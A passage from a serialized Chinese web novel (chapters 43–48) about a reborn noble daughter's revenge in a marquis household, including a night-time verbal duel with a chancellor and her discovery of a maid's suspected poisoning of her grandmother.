《全家偏宠庶妹?重生当恶女以牙还牙》 第43章 只剩下恨,仅此而已 姜崇焕一身蛮力,十岁便能拉开百斤长弓,盛怒之下,这一棍用了十足十的力气,倘若打中宋萧然脑袋,他势必头骨爆裂当场身亡! 倘若真能如此也算是给了他一个痛快。 但—— 偏偏此时,斜里飞来一柄带鞘长,打偏了姜崇焕砸下来的一棍。 “铿!”的一声,姜崇焕手中盘龙棍重重砸在地面,竟硬生生将青石地面砸出了一道深深的印记。 “老五,你胡闹什么!?” 一阵橐橐靴声,一名身穿绛紫色华服的男子快步冲进了安远侯府大门,一把夺过了姜崇焕手中的盘龙棍,霹手一记响亮的耳光,重重地打在了他的脸上。 “二兄!” 姜崇焕的脸被打到了一边,再次抬起头时,嘴角已溢出了鲜血。 他全然不顾自己嘴角血迹,抬手怒指向宋萧然:“是他们安远侯府欺人太甚……” “住口!” 姜崇礼又是一巴掌打了下去,这才止住了姜崇焕继续把话说下去。 他回过了身,快步行至宋萧然面前,双手抱拳,恭敬地施了一礼:“侯爷赎罪,舍弟愚钝,鲁莽无知,冲撞了侯爷,还请侯爷海涵。” 说罢,他便要俯身跪下。 姜崇礼和姜崇焕虽是一母同胞,但性格却是截然不同,他更像姜太师,在金陵城同辈中素有贤明,今年秋闱更是一举中第,也是姜家未来的希望。 他是姜老太师最为器重的孙辈,这一跪代表的是太师府的脸面。 宋萧然狡猾若狐,岂会不知这其中的道理。 眼瞧着姜崇礼的膝盖就要触及青石地面,宋萧然倏然伸手扶住了他的胳膊:“贤侄这是作甚!!” 一句贤侄,一个举动,便是给足了太师府颜面。 宋萧然阴骘的脸恢复了三分笑颜:“今日若是我让贤侄当众下跪,明日只怕整个金陵城便会盛传我以大欺小。” 姜崇礼站了起来,松了一口气:“多谢侯爷。” 宋萧然拍了拍他的肩,眼笑似弯月,笑意却不达眼底:“子侄一辈之中,你最像老太师,本侯瞧了,不由想起昔日同朝的情谊,你且放心,此事我断不会与小辈计较。” 这便是告诉姜崇礼看在姜老太师的颜面,他不会将此事放在心上。 然—— 姜家却不能不将此事记挂于心。 原是姜家占理之事,但,经过姜崇焕这么一闹,现在也变得没有理了。 即便小妹当真将那一株千年人参赠与安远侯府,姜家也断然不会上门讨要,不仅如此,只怕明日还要请家中长辈备下厚礼前来致歉。 姜崇礼微笑颔首:“祖父虽已置事多年,但时常与我聊昔日与侯爷同朝情谊,秋闱已放榜,用不了多久,崇礼也要入职翰林院,届时还望侯爷能多多提点才是。” 他这是在告诉宋萧然,他这个姜家小辈也要入朝为官了,姜家自是江河日上,俩家需交好才是。 宋萧然自是明白姜崇礼话中深意,当即微笑颔首:“一定一定,到时,贤侄且莫要嫌本侯啰嗦才是。” 二人你来我往,看似闲叙,实则皆是世家、官场中的门道。 姜崇焕自然是听不懂,但宋南絮却是瞧得通透。 她原本是想要借姜崇焕之手让安远侯府与姜家交恶,却算漏了姜家这位有着七窍玲珑心的二公子。 “呵!”宋南絮轻笑出声。 一旁的青雀疑惑,用只有二人能听见的声音在宋南絮耳畔问道:“此人的出现只怕要坏了姑娘的筹谋,您怎么还能笑的出来?” 宋南絮缓缓抬起素手,轻抚云鬓:“自然是为父亲高兴。” “高兴?” 青雀更加疑惑。 宋南絮莞尔,一错不错地看着宋萧然:“以后官场中多了姜崇礼这样一号人物,只怕他更要头痛了。” 看瞧着姜崇礼将姜崇焕、姜敏儿带出了安远侯府。 今日的闹剧也终是落下了帷幕。 宋萧然一转身,方才还带着三分笑意的脸,倏地沉了下来,一双眸子更像是蒙上了一层寒霜一般,周身迸发凛然的寒意。 他一句话也未说,径自朝着内院书房而去。 主角都已经走了,在场的这些配角自然不必留下。 宋南絮的目光一直看着宋萧然,直到他的背影消失在自己的视线之中,她方才收敛了目光,淡淡地看了一眼身侧的几个女使:“咱们也回去吧。” “絮儿。” 刚进过通往内院的抄手回廊,宋南絮便听见有人再叫自己。 转过头,便见崔氏扶着田妈妈和刘妈妈的手,一脸焦急地朝着自个儿走来。 待到崔氏走近时,宋南絮礼貌又梳离地欠了欠身:“母亲,唤女儿何事?” 崔氏抿了抿唇,面有难色,余光瞥了一眼身边的田、刘二人,终没能忍耐地住还是开了这个口:“絮儿,你瞧今日这事,也并不全怪文蕊和玉斓。 她们打小就跟在母亲的身边,吃穿用度皆是府里一等女使的分离。 你父亲今日发了火气,将这两个丫头发还给我,你看这责罚……” 她说着,一脸期待地看着宋南絮。 像是想要从宋南絮的口中听见免了文蕊和玉斓的责罚她自个儿才能够心安似的。 宋南絮心中冷笑逐渐蔓延眼里。 昔日,宋萧然毅然决然地将自己送进庵堂时,崔氏不过是委屈巴巴地掉了几滴眼泪,只是当着自己的面求了两句情,然后,便再也没有然后了。 五年来她更是从未去过一次普照庵,也从未差遣过下人捎过只字片语给她。 哪怕只一句话关怀的话都不曾有过! 而今,为了两个自小在她身边长大的女使—— 可笑! 实在是太可笑了! 宋南絮想着,竟渐渐笑出了声。 崔氏微微一怔:“絮儿,你这是——” 宋南絮收敛了脸上的讥讽的笑,淡淡道:“父亲不是顾念着和母亲的夫妻情分,并没有当众责罚那两个丫头,只将她么返还给母亲,她们是母亲的人,母亲是罚是放,何来问我?” “絮儿,母亲只是想……” 崔氏想要解释,试探地伸手想要去拉宋南絮的手。 宋南絮快速躲开:“我还有经书没抄完,就不和母亲叙话了,女儿现行告退。” “絮儿……絮儿……” 身后崔氏的呼唤声不断,宋南絮犹自未闻,她们之间的母女情早就在前世崔氏亲手递上了白绫时,已然变成了恨,仅此而已! 第44章 深夜对饮,我问你答 “夫人,您看我家丫头……” 田妈妈和刘妈妈一脸期待地眼巴巴看着崔氏。 崔氏却望着宋南絮渐行渐远的背影,她觉得女儿回府后像是变了一个人似的,与自己不亲近不说,她总是觉得女儿看自己的眼神里带着怨恨。 她红了眼,重重叹息一声:“你们说絮儿是不是还怨我当年没能说服侯爷将她留在府中?!” 田、刘二人异口同声地道:“夫人,您多虑了。” 崔氏阖了阖眸子:“但愿絮儿能够明白我的苦心吧。” 刘妈妈道:“大小姐一走便是五年,重新回府也需要适应才是。” 田妈妈道:“是这个理儿呢,倒是夫人,大小姐回府自然是喜事,可您也不能冷落了咱们二姑娘。” 崔氏微怔:“我从未冷落过烟儿呀?” 田妈妈和刘妈妈对视一眼,皆垂眸不语。 崔氏想想,这几日忙着给絮儿添置新衣、首饰,又给墨香居挑选下人,自觉当真是亏欠烟儿呢。 她嗔了两个婆子一眼:“我忙糊涂了,你们两个老货也糊涂了,你们也不提醒着我点。 两个女儿我自然是要一碗水端平的,怎能只顾着亲女,而薄待了烟儿呢。 赶紧随我去悠然居,莫要让烟儿对我心生怨怼才是!” 抄手回廊拐角。 翠珠、翠柳听了崔氏的话,身子都止不住直哆嗦:“姑娘!!” “呵!” 宋南絮冷然一笑。 缓缓地抬起了眸子,将素手伸到了二人面前:“愿赌服输,我没有说错吧,母亲是不会责罚文蕊和玉斓的。” 翠珠跺了跺脚:“白白浪费了我一支鎏金的镯子!” 宋南絮莞尔一笑:“回头到我挑一支翡翠的给你。” “姑娘!”翠珠都提宋南絮感到不值:“您就一点都不生气?!” 宋南絮淡淡道:“不值当的人和事,自然是不用放在心上。” 夜幕降临,万籁寂静,墨香居内安静非常,如同一副静挂于墙壁上的画卷。 宋南絮刚吹熄了房中烛火,赤足踩在毡毯上,准备上床就寝,忽听见床头阵阵风铃响动,紧接着,床榻发出“咔咔”声响。 下一瞬,一名身着墨绿华服的男子从密室中走了出来。 萧止见只着一件里衣的宋南絮,不由微微一愣,黑暗中,他竟瞬间红了脸,连忙别过了头,轻咳了一声,正了正音色:“你……睡这么早?!” 他站在阴影之中,宋南絮瞧不见他的脸色,只觉着男人甚是奇怪,也不瞧瞧现下都什么时辰了,自己不睡觉难道绣花么? 宋南絮申请淡漠地瞥他一眼:“你要一直在哪里站着?” 萧止从密室中走了出来,他微低着头,摸了摸鼻尖:“我来给你送香耳。” 香耳? 宋南絮微一蹙眉。 转头朝着燃着的香炉看了一眼。 自打宋南絮重生后,她每天晚上入睡时,都会反反复复梦见前世被至亲活活勒死的场景,以至于心虚不能,每每醒来时,大汗淋漓,湿了被褥,浑身乏累的紧。 但,这两日自从燃了这个朝露凝香后,她便再也没有做过梦,一觉睡到大天明,人也觉得清爽了不少,竟连头脑也变得灵光的紧。 原想着今夜用完,在去小院寻他要些,不曾想,他竟亲自送货上门。 接过了他手中的锦盒,宋南絮打开一瞧,锦盒中竟有数十香耳,那股子淡淡的幽香,能够让人宁心静气。 “多谢。” 道过谢后,二人就那般面对面的站着。 萧止从未有过如此尴尬的感觉,外界传闻,他这位奸相欺男霸女,无恶不作,而真实的他,这些年来将全部心血都用在了谋划盘算上了,从未与姑娘亲近过。 不!准确来说,他只与一人有过亲密的接触—— 他凝眸望着搜宋南絮。 仅此一次,自己不知为何第一眼看见宋南絮时,便起了游戏之心。 竟学着那些世家公子哥的浪荡模样,开口调戏了她,殊不知,她却不似寻常的闺阁小姐,对他没有丝毫惧怕。 如此,便更让萧止想要一探究竟。 今夜,他原也是睡下的,只是不知道为何,躺在床上,一闭上眼,眼前便都是宋南絮那副清冷模样。 思忖半晌,他便寻了这么一个由头——送香耳。 若细说起来,只怕在普照庵那五年里,宋南絮懂的都要比他还要多呢。 宋南絮定定地看着他:“你……不走?” 萧止微微压了压眉心,以迅雷不及的速度敛去了眼底的一抹促狭神色,重新换上了那副玩世不恭的模样。 他唇角微勾,竟显偷香窃玉的风流:“不请我喝杯茶么?” 宋南絮轻浅一笑:“更深露重,你就不怕饮了浓茶睡不着么?” 萧止挑了一下眉:“那便与美人彻夜促膝长谈,岂不是美事一件!” 宋南絮眸中略带嫌恶:“倘若外人知晓小叔叔深夜滞留在侄女的闺房之中,可是要戳你脊梁骨的。” 萧止坐了下来,自顾自地拿起了茶壶倒了一盏茶:“那便让他们试试,是他们手指硬,还是我的脊梁骨更硬。” “呵!”宋南絮轻笑一声,坐在了他对面:“既然要聊,那便敞开来聊聊。” 萧止:“好!怎么个聊法?” 宋南絮也自斟一盏茶:“每人问对方一个问题,需如实回答。” 萧止笑着颔了颔首:“好。” 他抬手做了个请的手势:“看在你是我小侄女的份上,你先请。” 宋南絮轻饮了一口茶:“你将夏侯博送去哪了?” 萧止如实道:“药王谷。” 宋南絮:“该你了。” 萧止凝眸望着宋南絮:“普照庵有何不可告人的秘密?” 宋南絮闻言,微微蹙了一下眉。 她之前已经告诉他,蚀心蛊毒乃是普照庵所有,以他的身手过去了这么多天,难道还不能深入其中么? 阖了阖缀着颀长睫毛的眸子,宋南絮撂下了手中青瓷茶盏:“明为庵堂,实为妓馆。” 萧止微一蹙眉。 果然—— 他轻呷了一口茶:“到你了。” 宋南絮眸色微敛,一双深琥珀色的眸子,宛若一汪深不见的寒潭,她一瞬不瞬地盯着他的眼睛,红唇微启,一字一顿地道:“你到底是谁!?” 第45章 夫人心意,拿去喂狗 萧止的眼里有一抹冷意一闪而过。 只是须臾,他便敛去了这抹神色,唇角上扬,露出了一抹和煦而灿烂的笑:“乖侄女,你这么快就忘了?我是你叔叔啊。” 宋南絮:“……” 就知道—— 这混蛋不守信用。 不过—— “呵!”宋南絮轻浅一笑。 他越是这般,便越是能证明自己猜测的方向没有错! 他一定是—— 萧止看向了宋南絮唇畔逐渐绽放开来的笑,倏然像是明白了什么。 他微笑摇头,这丫头还真是和她一样是一只狡猾的狐狸呢! 今晚的对饮,互诉实话,全部都是假的,她真实的目的是要试探自己。 萧止微微眯起了眼睛,薄唇微启:“你是什么时候知道的?” 宋南絮为他斟满茶盏:“刚刚。” 果然—— 这丫头是在试探自己。 宋南絮微一挑眉:“不知相爷潜入安远侯府的目的何为?” 萧止白皙修长的手托着棱角分明的下巴,手肘撑着桌案,身子微微想前探,拉进了他和宋南絮之间的距离。 二人只隔了不足一尺的距离,宋南絮能够清晰地看见他眼里跳耀的烛火,以及倒映出来她的面容。 萧止:“窃欲偷香!” 宋南絮白了他一眼:“胡扯。” 萧止笑笑:“不信就算了。” 宋南絮换了一种方式继续问道:“既然不想说潜入侯府的目的,说说你是如何得知这间密室的?” 萧止朝着宋南絮摆了摆手指,勾起了唇角道:“你的问题已经问完了。” 他忽地靠近,与她近在咫尺,炙热的呼吸喷在宋南絮的脸上:“该我问你了。” 宋南絮缓而满地阖了一下眼:“好。” 萧止:“接下来,你想要何如对付安远侯?” 宋南絮微怔。 如此看来,萧止从一开始便知道自己回府的目的! 宋南絮眸色深深,一瞬不瞬地凝视着他的瞳眸:“自然是要将安远侯府置于烈火之上。” 萧止笑容渐浓:“甚是有趣,本相最是喜欢看父女争斗,你死我活的戏码,本相愿帮你添上一把柴。” “错了!” 宋南絮哂笑:“丞相大人说错了,不是你死我活,也不需要你添柴旺火。” 她的仇与恨,岂非一条宋萧然一条性命,她要图谋的更多! “哦?!” 萧止看不懂宋南絮的心思。 她大费周章的做了这么多事,难道不是为了—— 他凝眸望着宋南絮,似是想要从她的脸上找到答案,然而,看到的只是一片如寒霜一般的冷漠。 宋南絮起身打开了通往密室的机关:“你该回去了,若是耽搁了相爷明日早朝,我可吃罪不起。” 萧止微笑摇头,径直走进了密室之中。 在密室的门关闭的一瞬,他竟在这只狡猾的小狐狸的眼睛里看见了一抹促狭。 总觉得今晚这坦诚相告,是这小狐狸算计了自己,而自己偏偏还是那条自投罗网的鱼儿。 宋南絮点燃了朝露凝香。 一股清新的药草香缓缓流淌,渐渐侵满了整间房。 她闭上了眼,原本不宁的心虚渐渐缓解,困意渐涌,不知不觉睡去。 醒来时,已是次日清晨。 “姑娘醒了。” 随着翠珠的一声轻唤,早已经等候在外的丫头们鱼贯而入,有人端着铜盆,有人擎着漱口杯、痰盂。 翠珠有条不紊地指挥着小丫头们伺候宋南絮洗漱,梳头,上妆。 不出片刻的工夫,一张清秀淡雅的脸便映在铜镜之中。 宋南絮看着镜中的自己。 她很久没有见过自己这般的模样,许是五年前,亦或者是上辈子。 “姑娘,瞧着今日妆容可还满意?” 翠珠一脸骄傲,仿若宋南絮的打扮是她最满意的杰作。 宋南絮莞尔:“你是最懂我心思的。” 夐出涟漪不染泥,浓妆淡抹总相宜。 从前,她喜欢张扬热烈的红,而今却是极喜欢这种清冷淡雅的装扮,特别是翠珠选的这身浅碧色的衣裳,深得她心意。 “姑娘,厨房已经送来了早膳。”翠珠扶着宋南絮从梳妆台前站了起来,缓步往墨香居主屋外间走:“今儿的早膳是夫人特意嘱咐大厨房送来的,姑娘瞧瞧可还合你胃口。” 赤豆熬煮绵密混在白粥之中,金丝枣糕,芙蓉蛋卷,白玉方糕,一盘盘,一碟碟,一碗碗点缀精致,色香味俱全。 这些倒是宋南絮从前喜欢的早膳。 她坐了下来,由丫鬟们伺候用早膳。 似是无心,有一搭没一搭地和翠珠、翠柳聊着:“昨儿夫人去过悠然居后,可有说什么?做什么?” 翠柳道:“虽说没有什么吩咐传出来,但是今儿一早夫人差人送去了两个匣子。” “匣子?”宋南絮停下了筷子,抬眸看向了翠柳。 翠柳颔首道:“奴婢瞧着像是夫人陪嫁的螺钿首饰匣,只是不知其中放的是何物。” “呵!”宋南絮冷然一笑:“还能是什么,自然是你家夫人的心肝宝贝了。” 这两个螺钿首饰匣,崔氏最为宝贝,里面装的她母家的陪嫁,一套是崔氏大婚时宫里赏赐的头面,另外一套则是武安侯老夫人寻遍了天下能工巧匠,为崔氏打造的一条镶满了宝石的项圈。 前世,宋南絮极是喜爱那项圈,曾与崔氏讨要过数次,由记得每每崔氏便会说,这些将来都会为她添妆。 而今,却只为了她心中的‘不偏不倚’,眼巴巴地将她心肝肉的似的宝贝物件儿送到悠然居去。 还真是—— 可笑! 宋南絮轻笑嘲讽,再看面前桌案上崔氏命人精心准备的早膳,只觉得倒胃口。 她轻轻挥手:“拿去喂狗吧。” “姑娘——” 翠珠想要劝宋南絮在进些,可转念一想也觉得恶心:“姑娘若是不喜,咱们去荣安堂用早膳,老太太那里可时时刻刻都备着姑娘喜欢的吃食呢。” 宋南絮颔了颔首:“也好,那便去陪祖母一同用早膳。” 临走之前,她瞄了一眼青雀。 青雀立马上前。 宋南絮在她的耳畔吩咐了两句后,便出了墨香居的门。 待到屋里只剩下几个小丫头时,名为素喜的小丫头眼巴巴地瞧着一桌的美食吞了吞口水:“彩玉姐姐,这么多好吃的,姑娘只动了一筷子,要是扔了岂不是可惜了。” 彩玉淡漠地瞥了她一眼:“没听见姑娘让拿去喂狗么!还不赶紧把这些碍眼的东西撤下去!!” 第46章 秋莲姑娘,亲送汤药 “祖母身子可好些了?” 跨过了荣安堂的门槛,宋南絮听见了里间传出阵阵笑声。 李嬷嬷稍后一步,端着红木托盘打外边进来,瞧见了宋南絮,脸上立马堆起了笑:“老太太才和奴婢们说起姑娘小时候那错认水当茶吃,三岁的小儿吃醉了酒。 老太太一时兴起,想着咱们后院的井里还侵了两缸子,便让老奴取了来,要同姑娘一起吃呢。” “祖母要吃酒?” 宋南絮微微蹙眉:“这一大清早的,岂不伤了身子?” “姑娘不必挂心,那位神医开的方子果有奇效,老太太才服了一天的药,身子竟出奇的好了不少,老太太一早上多进了一整碗的红枣莲子粥呢。” “当真?!” 李嬷嬷颔了颔首,迎着宋南絮进了里间。 里间,严氏正被三个嬷嬷和四五个穿红着绿的小丫头围着,哄着老太太笑得见牙不见眼。 宋南絮瞧着祖母脸色的确比两日前红润了不少。 严氏瞧见了宝贝孙女儿,连忙朝着她招手:“絮丫头,快到祖母身边来。” 宋南絮走了过去,几个小丫头朝她欠了欠身。 严氏朝着其中一人吩咐道:“秋莲去帮你李嬷嬷将昨儿制的糕饼给姑娘拿来。” 秋莲?! 宋南絮稍微抬眉眼,疏淡而锐利的目光落在了秋莲的身上。 只瞧见了一个身穿丝绸对襟褙子,容颜清秀的丫头,笑颜如花地应了声:“是” 宋南絮不动声色地打量着她。 待她走出了里间,宋南絮转头看向了严氏:“这位便是秋莲么?” 严氏握着宋南絮的手,轻轻地拍了拍:“哎!” 老太太还未说话,先叹了一口气,紧接着才开口道:“这几年不在,你那狠心的父亲又不准祖母去庵堂看你,多亏了有秋莲这丫头,时常陪我说说话,不然,怕是祖母都等不到我的心肝肝回来。” 说着,严氏将宋南絮揽了怀中,感受着真实的宝贝孙女儿老太太红了眼。 刚瞧着秋莲并不似荣安堂其他的丫头穿着打扮,虽比不上官宦家的小姐,但瞧着也像是出身商贾富户的大家闺秀,可见,老太太是真心喜欢秋莲这丫头的。 宋南絮眸色微敛:“我瞧这丫头模样讨人喜欢,能得了祖母的心意也是她的福气了。” 严氏抹了一把眼泪,用了用劲儿抱着宋南絮,像是幼时哄着她午睡似的轻轻摇着:“听你这话,像是吃了醋似的,你且放心,在祖母心里没有人能把我宝贝孙女儿比了去。” 宋南絮莞尔,在老太太的怀里撒娇道:“祖母,惯是会笑孙女儿的,孙女儿就是自私,想要一个人时时刻刻霸着祖母,占着祖母。” 老太太笑容满满,轻轻在宋南絮的背上拍了两下:“好好好,祖母就疼你一个人。” 李嬷嬷送来了错认水。 宋南絮从她手里接了过来,摸了摸酒盏,觉着温度尚可才递到了严氏的手里。 “祖母,我瞧着那秋莲极合我眼缘,孙女儿想跟祖母要去同我一处。” 严氏撂下了手中的酒盏,笑笑道:“祖母倒不是舍不得秋莲,只不过,这丫头并非卖身到咱们府上。” 宋南絮故作不知:“她不是荣安堂的女使?” 严氏微微摇了摇头道:“不是,她祖父曾是你外曾祖父的随军,如今家里人都没了,不远千里找到了我,我便留在了身边。” “原来如此。” 宋南絮微微眯了眯眼。 官宦大户人家的老太太也有照顾古旧之女,留在身边养着,等到了年龄也好给寻个好人家。 秋莲的身契并不在侯府! 即便她给老太太投毒之事东窗事发,她也能全身而退。 想必,已经是做好了完全的准备! 如此看来,幕后指示秋莲给老太太下毒之人—— “絮丫头,絮丫头……” 严氏轻唤了几声,见宋南絮回过了神来,她轻笑道:“不过是个小丫头而已,你瞧瞧她们几个可有喜欢的?” 老太太随手指了指房中的其他几个女使。 虽说宋南絮离家五年,但荣安堂里的丫头们却还都是老人,她笑笑说:“她们都是伺候祖母的老人了,一个个都是老太太心尖尖上的姑娘,我怎好向老太太要人。” 严氏笑得越发开怀,眼睛弯成了弦月:“你这丫头还说不是吃醋。” 宋南絮与老太太说笑间,秋莲拎着食盒从外间走了进来。 严氏招了招手。 秋莲上前屈膝:“老太太,时辰差不多了,应该喝药了。” “喝药?”宋南絮微一蹙眉。 她是瞧过夏侯博的药方的,老太太是应该早膳之前空腹用药的,那这个时辰吃的是什么药?! 宋南絮眼角余光轻轻地瞥了一眼秋莲:“老太太不是一早刚用过药了么?这会子吃的是什么药?” 秋莲道:“前些日子老太太身子不爽利,我便寻了一个方子,老太太服后,胃口好了不少。” “哦?”宋南絮凝眸望着她:“如此说来,这倒是一个不错的方子,可否拿来给我瞧瞧。” 秋莲莞尔:“请姑娘稍后。” 说完,她便径直出了里间。 不多时,秋莲去而又返,带回了宋南絮想要看的方子。 宋南絮也只是潦潦看了一眼,便将方子递还给了秋莲。 秋莲面色从容淡然,瞳眸之中不惊丝毫波澜,唇上始终噙着淡淡浅浅的笑,让人在她的脸上看不出丝毫的端倪。 宋南絮眸色微敛,莞尔道:“祖母若是用的有效,那便吃着。” 秋莲微一颔首,将药方揣进了袖兜里,目光疏淡地望着宋南絮,只笑笑没说什么,须臾,便有伺候严氏的女使端来了托盘。 秋莲端起了药碗,便要伺候严氏用药。 宋南絮起身,从秋莲的手中接过了药碗:“还是我来伺候祖母用药吧。” 秋莲没说什么,将药碗交到了宋南絮的手里。 宋南絮来到了严氏近前,轻轻吹凉了汤药才送到了严氏的唇边。 严氏刚要喝药,宋南絮的手微微一抖,碗里黑褐色的药汤撒在她的手上。 “嘶!” 宋南絮倒吸了一口气,故作拿不稳药碗,连碗带药直直摔在了地上。 第47章 不是怀疑,而是肯定 宋南絮余光瞥向秋莲。 只是霎那,秋莲眸色一凛,下意识地伸手想要去接药碗,却是为时已晚。 “啪!”的一声。 描金边的青瓷玉碗摔在地上,摔成了碎片,药汤溅射一地。 “哎呦!”宋南絮惊呼了一声。 严氏顾不上自个儿的汤药,连忙拉起了宋南絮的手查看:“有没有烫伤?!” 关切的脸上满是紧张,严氏急声吩咐道:“快去拿烫伤的药膏子来!还有冰水!” 宋南絮反手握住了严氏的手,宽慰道:“祖母,我没事,您别急。” 严氏蹙着眉,拉过了宋南絮的手轻轻地吹着她手背上被药汤溅着的地方:“告诉祖母疼不疼呀?” 宋南絮心里暖暖的,鼻尖微发酸。 祖母对她的疼爱没有丝毫的保留,只是被温热的药汤溅到了一丁点,老太太急红了眼,恨不能代替自己受伤。 宋南絮坐了下来,微微摇头:“不疼的。” “哎呦!祖母的心肝,你可是要心疼死祖母了。” 李嬷嬷端来了冰水,宁嬷嬷拿来了烫伤药膏,严氏握着宋南絮的手置于冰水之中,然后亲自为她擦去了手上的水渍,一边吹着起,一边给她涂抹上烫伤膏。 忙活了一阵,老太太见宋南絮手背上被烫出来的红印子消退后,这才松开了一口气,拉着她好一顿关心。 秋莲微微蹙眉,一双眸子在宋南絮的身上扫了扫。 方才—— 真的只是不小心打翻的药碗么? 她瞧地仔细,刚刚也的确只是巧合而已。 秋莲屈了屈膝,垂下了眸子,一脸做错了事的模样:“都怪我,没等药凉些再给老太太送过来,还望大姑娘原谅则个。” 宋南絮起身,走到了秋莲的面前,将她扶了起来,笑道:“秋莲姐姐说得哪里话,刚才都是我不小心所至,和姐姐没有关系,怎说原谅不原谅的话呢。” 秋莲抬起了眸子,感激一般地对宋南絮微笑颔首道:“大姑娘不怪我就好。” 宋南絮轻轻抚了抚她的手:“姐姐也是关心我祖母的身子,我怎么会怪你呢。” 秋莲:“那我去再熬一碗药来。” “嗯。”宋南絮应了一声,目送着秋莲出了荣安堂里间。 刹那间,她脸上原本敦厚温和的笑消失不见,取而代之的是一片冰冷漠然。 宋南絮带来了昨晚萧止送来的朝露凝香,吩咐李嬷嬷给老太太燃上。 自从五年前,宋南絮被送出了府邸,严氏日思夜想,落下了失眠的毛病,第二天总是精神不济。 这朝露凝香果有奇效,香味才扩散没一会儿,老太太便打了个哈欠,困意渐渐弥散。 宋南絮伺候老太太睡下,留了段嬷嬷在里间,带着李、王、宁三人到了老太太的寝室外。 老太太身边的嬷嬷皆是出身镇北大将军府,年轻时也都随着严氏上过战场,她们心思玲珑,岂会看不出来刚刚宋南絮是故意摔了药碗。 李嬷嬷第一时间反应了过来,急忙追问:“姑娘,你是不是怀疑……” 不待她把话说完,宋南絮倏地朝着房门口使了个眼色。 李嬷嬷侧目,瞧见了秋莲端着重新熬好的药碗折返回来,便立即会意住了口。 秋莲端着药碗上前。 宋南絮道:“秋莲姐姐,老太太刚刚说身子乏,这会子已经睡下了,你先将这晚药放下,等老太太醒后,我伺候她喝。” 秋莲倒也没有表现出什么,她将药碗撂下后便退出了老太太房里。 李嬷嬷和宁嬷嬷对视一眼。 宁嬷嬷走到了房门口,遣散了在门口听候差遣的小丫头,而后,亲自站在房门外,任由谁也无法靠近分毫。 李嬷嬷凝眸,一脸严肃地望着宋南絮:“姑娘,你莫不是怀疑秋莲在老太太的汤药里做了手脚?!” 不是怀疑,而是肯定!! 这秋莲虽然隐藏的极好,但宋南絮还是在打碎了药碗的一瞬,精准地在她的眼睛里捕捉到了一丝慌张。 那种慌张和严氏以及四个嬷嬷不同,秋莲在意的并非自己是否烫伤了手,她的眼神始终都凝固在那一碗药上,以至于全然没有留心宋南絮探究的视线。 宋南絮:“李嬷嬷,你可还记得昔日老将军的旧部可还有在世之人么?” 李嬷嬷闻言,眼里流露出了一丝哀伤,微微朝着宋南絮摇了摇头。 “可有什么法子彻查秋莲的底细吗?” 李嬷嬷微叹一声:“秋莲寻到咱们老太太的时候,我当时就有所怀疑,但秋莲竟有老将军的旧部才有的信物。” “什么信物?” “一个刻有姓名的臂钏。”李嬷嬷解释道:“咱们严家军经年投身在战场之中,老将军便想了这么一个法子,记录下来每一位将士的姓名,以便盘点伤亡情况,也可在战场中确认牺牲将士的身份。” 闻言,宋南絮微微颔了颔首。 略一思忖后,她开口问到:“你知道秋莲那臂钏刻着是何人的姓名么?” “姑娘请稍等。” 说罢,李嬷嬷进了荣安堂里间,不多时,她便捧着一个锦盒出来:“老将军和将军死于战场之中,当初秋莲拿出信物时,老太太激动不已,秋莲便将此物留给老太太当个念想。” 宋南絮将锦盒打开,从其中拿出了臂钏。 因为年代久远的关系,臂钏上已经看不清雕刻的名字了。 宋南絮只依稀辨认出了一个‘冷’字,她凝眉,看着李嬷嬷问道:“嬷嬷可还记得当年严家军中是否有一位姓冷的将士?” 冷姓不似寻常姓氏,倒不常见,倘若是有名有姓的,李嬷嬷应该会记得一二。 李嬷嬷和王、段二人对视一眼。 随即,三人同时摇头。 “念芹。”李嬷嬷朝站在门口的宁嬷嬷招了招手。 宁嬷嬷四下瞧了瞧,确认无人后才回到了房里。 李嬷嬷问道:“咱们四人中,你上战场的次数最多,可曾知晓咱们严家军中是否有姓冷的将士?” 宁嬷嬷微微蹙眉,仔细想了半晌,双眸倏地一亮,朝着宋南絮和李嬷嬷三人点了点头:“有的,以前咱们少将军身边是有一名姓冷的副官。” 第48章 千金威严,侯府孝道 宁嬷嬷的一句‘少将军’似乎将三人拉回到了遥远的当年。 严氏儿郎仰不愧于天,俯不怍于人! 半晌,李嬷嬷回过了神,目光似有担忧地看了一眼宁嬷嬷,抿了抿唇,一副欲言又止的样子。 宁嬷嬷却释然地笑了笑:“都过去了这么多年,不打紧的。” 宋南絮凝眸,不知这其中的缘由。 段嬷嬷凑到了她耳边为其解惑:“念芹的未婚夫婿原本是少将军身边的副将,只可惜当年一战,少将军作为先锋军在佘山遇伏,她的未婚夫也……” 说到了这里,段嬷嬷重重叹了一口气,偷眼看向宁嬷嬷,像是怕被她听了去会勾起伤心事似的,悄声在宋南絮的耳畔继续道:“所以少将军身边事,她要比我们三个更为清楚些。” 宋南絮闻言颔了颔首,凝眸望着宁嬷嬷,只安静地等着她继续说下去。 宁嬷嬷继续道:“只是当年佘山战役是否有人存活下来就不好说了。” 听到了这里,宋南絮也了解了事情的大概。 佘山一战,年代太过久远,谁也无法判定当年是否有严家军活着走出佘山。 如此说来秋莲的身份尚有存疑。 宋南絮将眉心拧成了麻花状,略微沉吟了片刻才道:“宁嬷嬷,以你对严家军的了解,我舅祖父身边的副将倘若一息尚存,可会苟且偷生,这些年来隐姓埋名成家生子?” 宁嬷嬷站定阶梯地说:“严家军各个都是有血性,顶天立地的男儿郎,自然不会……” 话说到了一半,宁嬷嬷戛然而止。 她猛地瞪大了眼睛,一错不错地盯着宋南絮:“姑娘,你是说——” 她们四人从前不是没有怀疑过秋莲的身份,只不过,‘严家军’三个字,在她们心目中的分量冲淡了这份怀疑。 再加上,秋莲手中的信物,成功引起了她们对镇北大将军府、军队、将士之间的那份情谊,这才被秋莲蒙蔽了眼睛。 所谓当局者迷,旁观者清便是这个道理。 而今,宋南絮提出质疑,也让四人对秋莲的身份产生了怀疑。 “可这信物的确是咱们严家军才有的!!”段嬷嬷一瞬不瞬地盯着宋南絮手中的臂钏:“她不过一个年轻的姑娘,若非真的家族亲人是咱们严家军,那又怎么会知道这么多当年旧事?” 这也是秋莲身份没有被老太太怀疑的原因之一。 宋南絮轻哂了一声:“倘若,真是有人指使她来害祖母,又怎会不做足了准备工夫。” 李、宁、王、段四人听见了宋南絮的话后,脸色皆是大变。 半晌,李嬷嬷颤抖地握紧了怀抱中的锦盒,声音打着颤道:“姑娘,咱们老太太多年没有离开过侯府半步,谁……谁会想出这么阴毒的法子?!” 其余三人闻言,齐齐将目光投向了宋南絮。 宋南絮微微地眯了一下眼:“那就要问一问这位秋莲姑娘了!” “李嬷嬷,侯爷和夫人来了。” 